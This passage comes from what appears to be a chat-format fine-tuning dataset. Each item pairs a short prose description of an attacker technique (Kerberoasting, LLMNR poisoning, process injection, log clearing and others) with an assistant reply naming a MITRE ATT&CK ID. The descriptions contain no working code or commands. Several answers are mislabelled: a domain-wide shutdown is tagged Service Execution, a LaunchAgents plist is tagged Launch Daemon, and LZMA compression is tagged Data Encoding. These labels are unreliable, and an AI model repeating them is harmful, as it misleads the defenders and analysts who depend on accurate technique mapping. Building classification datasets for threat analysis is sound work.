                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Dynamic Data Exchange protocol, malware communicates with the Windows Explorer process to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder corrupts the victim's backup files by overwriting them with encrypted versions, rendering the backups unusable."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor issues a shutdown command to all domain‑joined computers."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the launchctl command to load a compromised daemon plist into /Library/LaunchDaemons, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the device's ROMMON with a compromised version to persist code execution."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a script in the user's Startup folder to execute every time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a rule in Outlook that replies to any incoming email with a phishing message containing a malicious link, facilitating lateral movement across the organization."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sets the Outlook Home Page to a remote URL that hosts a drive-by download, executing ransomware upon launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing trojan also gathered user email archives from the local filesystem for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits legitimate system tools (Living off the Land) to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages Kerberos ticket requests to extract service principal names, captures the ticket‑granting service tickets, and attempts password recovery offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a blue screen of death on all machines in the network segment."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uploads a Trojanized installer to the organization's software repository using valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collect victim software"
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performs LLMNR/NBT-NS poisoning on a local network, captures NTLM hashes from SMB authentication, and relays them to a remote system for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the legitimate Windows binary Verclsid.exe to proxy malicious payloads, allowing the execution of code under the guise of a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the cmd.exe command line to spawn a reverse shell connecting back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the Windows boot manager with a malicious version that loads a custom rootkit before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers alter the victim’s webmail settings, enabling a rule that forwards all incoming emails to a remote mailbox for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a vulnerable third‑party email filtering appliance by uploading a malicious transport module to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a tainted .msi installer that automatically runs a PowerShell command during the installation phase."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script truncates /var/log/bash_history on target hosts to eliminate forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary probes content delivery network logs and metadata to gather information about the victim's infrastructure and software versions."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a known vulnerability in a social media API to bypass authentication and take over victim accounts on a niche platform."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the default form template in Outlook to include a malicious script that runs on every Outlook start, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised API endpoint, the attacker pulls session tokens from the server's response and utilizes them to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a stolen Azure AD token to call the Microsoft Graph API and download files from SharePoint Online."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through strategic token manipulation, the intruder impersonates a service account, enabling lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor wipes out all entries in the Windows network connection cache and deletes related registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan reads saved RDP credentials from the Remote Desktop Connection manager's .RDP files."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker sets up a rogue DHCP server that assigns a malicious NTP server address, enabling time‑based attacks on synchronized systems."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply‑chain attack, the adversary installs a trojan that monitors USB insertions and silently copies key logs and documents to any connected flash drive."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor configures a forwarding rule on the victim’s Exchange account to send all emails to a hidden recipient."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the installer of a productivity suite to include a persistent backdoor that loads on startup."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the cloud service's management console, the threat actor directly connects to a victim's virtual machine, achieving remote code execution without intermediate hops."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious JavaScript into a popular news site, causing browsers to download a payload via a drive-by download when the page loads."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages PowerShell to create a mail rule that copies targeted emails to a concealed folder and then sets the original messages' read status to true."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Mimikatz tool to harvest plaintext credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates the browser's cookie jar, identifies cookies with authentication tokens, and programmatically injects them into HTTP requests to simulate a legitimate user session."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential stuffing using previously leaked username/password pairs to gain access to web applications."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom list of common filenames, the attacker seeks out backup and temporary files via active scanning."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a plist file in ~/Library/LaunchAgents to ensure execution on user login."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses LZMA compression to reduce the size of data before transmitting it over SMB."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scripts the creation of a local account with a unique SID to evade security tools."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors placed a defaced HTML file in the shared web directory, causing the internal site to show the altered page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages MSSQL's xp_cmdshell within a crafted stored procedure to download and execute a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before executing its payload, the Trojan checks for mouse movement and pauses if the system appears idle to avoid sandbox analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised Google Drive account to upload harvested files."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Python's `ctypes` to call `NetLocalGroupGetInfo`, the malware extracts the names of all local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom loader injects into explorer.exe and hooks the Credential UI functions to record user password entries."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan collects browser cookies and exfiltrates them in chunks using WebSocket connections."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware reads the 'HKU' registry hive to discover loaded user profiles on the machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code deletes the system's network configuration files and clears any stored VPN connection logs."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware unsets the HISTFILE environment variable on Unix systems, preventing bash from writing command history to disk."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker uses PowerShell's Copy-Item cmdlet over WinRM to move a credential dumper to another machine on the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows authentication chain by installing a malicious password filter DLL that records passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed an SNMP scanner to harvest MIB objects, obtaining network device configuration and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious patch for the system's recovery partition, embedding a secret command-and-control module."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant employs the Windows Shell's COM library to compress data before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the CorProfilerEnableProfiling registry entry to 1 and defining COR_PROFILER with a payload DLL path, the adversary hijacks execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain an AWS IAM role's temporary credentials and reuse them across multiple instances to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a vulnerability in a popular JavaScript library’s build script, adding code that downloads and executes a payload on any system that uses the library."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service modified the permissions of /var/www/html/index.php to 666, allowing the attacker to inject malicious code into the web server's root directory."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a software packer to obscure API calls by embedding them in an encrypted section."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy module adds a custom time synchronization provider that runs each time the system clock is adjusted."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a legitimate third‑party API integration to execute commands on the target’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contains a packed executable that unpacks the malicious payload in memory, bypassing sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux DNS is observed where the domain's A records have very low TTL values and are frequently updated."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows Control Panel utility control.exe to execute an arbitrary script via command line arguments."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hides its executable by embedding the payload in a scheduled task's command line, which is then launched directly from RAM, avoiding any file creation."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker invokes mmc.exe with a malicious module, using the system binary as a proxy to achieve code execution without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a service using the \"CreateService\" function from the Windows Service API, pointing to a payload that runs as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor abuses the Windows Admin Shares (C$, ADMIN$) to transfer tools to other networked workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hijack the Virtual Dynamically Linked Shared Object (VDSO) to execute shellcode within a legitimate process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor conducts Kerberoasting by requesting service tickets for privileged service accounts and then using rainbow tables to recover their passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
